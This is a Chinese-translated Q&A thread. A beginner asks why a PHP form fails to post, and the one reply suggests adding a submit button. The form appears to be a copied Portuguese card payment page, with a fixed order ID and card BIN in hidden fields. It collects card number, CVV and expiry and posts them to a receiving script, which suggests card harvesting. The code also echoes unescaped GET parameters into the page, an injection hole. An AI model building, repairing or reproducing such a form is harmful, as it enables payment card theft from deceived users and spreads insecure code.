Php Post不起作用

时间:2017-03-04 22:12:28

标签: php html

我从php开始,我遇到了这个问题,后期数据没有被发送到PHP 在互联网上搜索了很多,我找不到解决方案。请遵循以下代码



<?php

$cnpj = $_GET['cnpj'];
$nc = $_GET['nc'];
$sv = $_GET['sv'];
$_url = "fnc.php?cnpj={$cnpj}&nc={$nc}&sv={$sv}";
?>


<form id="frm" name="frm" action="<?php echo $_url; ?>" method="post">
</table>
<table class="Tabela1" width="610" cellspacing="0" cellpadding="0" border="0" align="center" height="1"><tbody><tr class="TituloTabela1" valign="center">	<td colspan="10" align="center">&nbsp;Dados do cart&atilde;o</td></tr><input name="id_Pedido" id="frm_id_Pedido1" value="7679401" type="HIDDEN">
<input name="chr_NumeroBIN" id="frm_chr_NumeroBIN1" value="485960," type="HIDDEN">
<input name="chr_TipoCartao" id="frm_chr_TipoCartao1" value="visa" type="HIDDEN">
	<tr>		<td><table width="100%" cellspacing="0" cellpadding="0" border="0" height="1">	<tbody><tr class="SubTituloTabela1" valign="center">		<td colspan="10" align="left"></td>	</tr><tr height="10"><td></td></tr><tr class="texto2" valign="bottom" height="25">
<td width="1%"></td><td colspan="5" align="Left">N&uacute;mero do Cart&atilde;o*<br><font class="Texto4">(digite apenas n&uacute;meros)</font></td>
<input name="chr_MostrarCVC2" id="frm_chr_MostrarCVC21" value="S" type="HIDDEN">
<td colspan="1" rowspan="1" valign="Top" align="Right">
</td>
<td colspan="1" rowspan="1" valign="Top" align="Right">
</td>
<td colspan="1" rowspan="6" valign="Top" align="Middle">
<div style="width:150px;margin-right:auto;margin-left:auto"><u><b>C&oacute;digo de Seguran&ccedil;a</b></u></div><div style="width:150px;margin-right:auto;margin-left:auto"><img src="recf_ficheiros/CVV_small.JPG" border="0"></div><div style="width:170px;margin-right:auto;margin-left:auto"><font class="Texto4">3 &Uacute;ltimos d&iacute;gitos da faixa num&eacute;rica. <br>(verso do cart&atilde;o)</font></div></td>
</tr><tr class="texto3" valign="top" height="20">
<td width="1%"></td><td colspan="5">

<input class="CaixaTexto" maxlength="16" name="chr_NumeroCartao" id="frm_chr_NumeroCartao1" size="17" autocomplete="off" type="Text"></td>
</tr>
<tr class="texto2" valign="bottom" height="25">
<td width="1%"></td><td colspan="3" align="Left">C&oacute;digo de Seguran&ccedil;a*<br><font class="Texto4">(digite apenas n&uacute;meros)</font></td>
</tr><tr class="texto3" valign="top" height="20">
<td width="1%"></td><td colspan="3">
<input class="CaixaTexto" maxlength="3" name="chr_CVC2" id="frm_chr_CVC21" size="3" autocomplete="off" type="Text"></td>
</tr>
<tr class="texto2" valign="bottom" height="25">
<td width="1%"></td><td colspan="4" align="Left">M&ecirc;s de validade*</td>
<td width="1%"></td><td colspan="2" align="Left">Ano de validade*</td>
</tr><tr class="texto3" valign="top" height="20">
<td width="1%"></td><td colspan="4"><select class="CaixaTexto" name="int_MesCartao" id="frm_int_MesCartao1"> 
<option value="" selected="selected">Selecione...
</option><option value="01">01
</option><option value="02">02
</option><option value="03">03
</option><option value="04">04
</option><option value="05">05
</option><option value="06">06
</option><option value="07">07
</option><option value="08">08
</option><option value="09">09
</option><option value="10">10
</option><option value="11">11
</option><option value="12">12
 </option></select></td><td width="1%"></td><td colspan="2"><select class="CaixaTexto" name="int_AnoCartao" id="frm_int_AnoCartao1"> 
<option value="" selected="selected">Selecione...
</option><option value="2017">2017
</option><option value="2018">2018
</option><option value="2019">2019
</option><option value="2020">2020
</option><option value="2021">2021
</option><option value="2022">2022
</option><option value="2023">2023
</option><option value="2024">2024
</option><option value="2025">2025
</option><option value="2026">2026
</option><option value="2027">2027
 </option></select></td></tr>
</tbody></table></td></tr>
<tr><td height="1"></td></tr>

</tbody></table>
<table width="610" cellspacing="0" cellpadding="0" border="0" align="center" height="1"><tbody><tr><td align="right" height="5"><font class="Texto4">* Campos de preenchimento obrigat&oacute;rio.</font></td></tr>
<tr><td height="15"></td></tr></tbody></table>

<table width="610" cellspacing="0" cellpadding="0" border="0" align="center" height="1"> <tbody>
<tr>

<td width="33%" align="center" height="25">
<table width="1" cellspacing="0" cellpadding="0" border="0">
	<tbody>
		<tr aling="center">	
			<td width="3">
				<img src="recf_ficheiros/img_dot_002.gif" width="3" height="1"></td>	
				<td width="30" bgcolor="#174529" height="25">
						<a href="#" title="" onclick="">
							<img src="recf_ficheiros/img_botao_fnz_002.gif" width="30" border="0" height="25"></a>
						</td>	
						<td height="25">		
							<table cellspacing="0" cellpadding="0" border="0" height="25">
										<tbody><tr>				
											
															<a href="<?php echo $_url; ?>" id="btn_confirmar" title="" onclick="submitForm();" style="COLOR:#174529; FONT-SIZE: 11px; FONT-FAMILY: Verdana, Arial; font-weight: bold; text-decoration: none;">Finalizar&nbsp;</a></td>						</tr>			<tr bgcolor="#174529">				<td colspan="3" height="1"><img src="recf_ficheiros/img_dot_002.gif" width="1" height="1"></td>			</tr>			<tr>				<td colspan="3" height="4"><img src="recf_ficheiros/img_dot_002.gif" width="1" height="1"></td>			</tr>		</tbody></table>	</td>	<td width="3"><img src="recf_ficheiros/img_dot_002.gif" width="3" height="1"></td></tr></tbody></table><table width="1" cellspacing="0" cellpadding="0" border="0"></table></td>



</tr>
</tbody></table>

</form>
&#13;
&#13;
&#13;

PHP Receiv Post

<?php 

$cnpj = $_GET['cnpj'];
$cc = $_POST['chr_NumeroCartao'];
$mes = $_POST['int_MesCartao'];
$ano = $_POST['int_AnoCartao'];
$cvv =  $_POST['chr_CVC2'];

?>

OBS:问题并且只有在这种形式下我还有其他页面使用完美运行的帖子

1 个答案:

答案 0 :(得分:1)

我认为您需要在HTML中指定表单的提交按钮:

<input type="submit" value="Submit">